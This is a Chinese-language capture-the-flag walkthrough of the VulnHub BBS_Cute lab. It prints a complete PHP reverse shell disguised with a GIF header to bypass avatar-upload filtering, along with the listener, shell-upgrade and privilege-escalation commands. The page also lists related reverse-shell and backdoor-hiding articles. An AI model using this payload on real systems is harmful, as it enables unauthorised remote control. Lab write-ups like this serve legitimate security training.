<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    VulnHub靶機 | BBS_Cute:1.0.2 上傳繞過

    VSole2022-08-03 17:56:38

    "各自乘流而上、互為歡喜人間,萬里星光,一如既往"


    項目地址:
    https://www.vulnhub.com/entry/bbs-cute-102,567/

    對目標主機進行探測

    sudo nmap -sP 192.168.33.1/24
    

    IP:192.168.33.142
    

    端口服務探測

    sudo nmap -sC -sV 192.168.33.142 -oN BBS_CUTE.nmap
    

    對開放的80、88端口進行目錄掃描

    sudo gobuster dir -u http://192.168.33.142 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium
    

    http://192.168.33.142/index.php 發現入口
    

    注冊頁面的驗證碼無法顯示,需要自己訪問下面的地址去拿
    

    CMS 是 CuteNews 2.1.2 去 exploit-db 看下,

    有一個 RCE 漏洞,下 POC 來用一下

    修改一下 payload,運行
    python3 48800.py http://192.168.33.142/index.php
    

    利用失敗

    有個上傳頭像的地方,看下能不能上傳 shell

    經過測試會過濾不是圖片開頭的 shell,反彈 shell payload

    GIF89;
    <?php
    // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.
    // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '192.168.33.150';$port = 4444;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; sh -i';
    $daemon = 0;
    $debug = 0;
    if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
    }
    if ($pid) {
    exit(0); // Parent exits
    }
    if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
    }
    $daemon = 1;
    } else {
    printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
    }
    chdir("/");
    umask(0);
    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
    }
    $descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the child will write to
    2 => array("pipe", "w") // stderr is a pipe that the child will write to
    );
    $process = proc_open($shell, $descriptorspec, $pipes);
    if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
    }
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    printit("Successfully opened reverse shell to $ip:$port");
    while (1) {
    if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
    }
    if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");break;
    }
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
    }
    if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
    }
    if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
    }
    }
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    function printit ($string) {
    if (!$daemon) {
    print "$string\n";
    }
    }
    ?
    

    上傳成功,攻擊機監聽

    nc -lvvp 4444
    訪問http://192.168.33.142/uploads/avatar_test2_revshell_pitcure.php
    

    反彈成功:

    python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm ctrl+z 
    stty -a #57 116 stty raw -echo;fg reset stty rows x columns y
    

    提權:

    /usr/sbin/hping3
    

    shellpipe
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    反彈Shell大全與原理
    2023-04-25 10:15:00
    reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。對方主機在局域網內,從外網無法直接訪問。對方主機上存在WAF,對主動連接發來的請求數據檢測嚴格,而對向外發出的請求不進行檢測或檢測較少。對方由于防火墻等限制,對方機器只能發送請求,不能接收請求。在滲透測試過程中,得到webshell后一般我們會反彈shell。反彈shell原理A主機開啟9090端口的tcp服務
    閑來無事,我上網隨便找了一個驅動來進行測試。
    前言建議直接復制粘貼到筆記,或點贊收藏,因為時常會用到,這是整理的一些常見的反向shell和特權提升的筆記文檔,紅隊成員必會!反向shell-備忘錄 通常在獲得遠程代碼執行之后,我們希望獲得一些交互式訪問—而不是發出單個命令獲取單個回顯或與 web shell 交互
    反彈shell匯總
    2021-07-28 10:01:11
    反彈shell匯總
    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
    php后門隱藏技巧大全
    2022-08-06 08:54:35
    辛辛苦苦拿下的 shell,幾天沒看,管理員給刪了。 其實隱藏的技巧也有很多
    數據庫注入提權總結
    2022-08-10 15:52:54
    首先,不能直接將該函數注入子查詢中,因為 Oracle 不支持堆疊查詢 。其次,只有數據庫管理員才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函數將為從 RDS 管道返回的數據等待 10 秒。
    測試鏈接是否能夠訪問 判斷操作系統版本 傳遞一個數組,嘗試爆絕對路徑 指定上傳路徑
    針對中東地區電信服務提供商的網絡攻擊是利用名為 HTTPSnoop 和 PipeSnoop 的新型惡意軟件實施的,這些惡意軟件允許網絡犯罪分子遠程控制這些感染了這種惡意軟件的設備。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类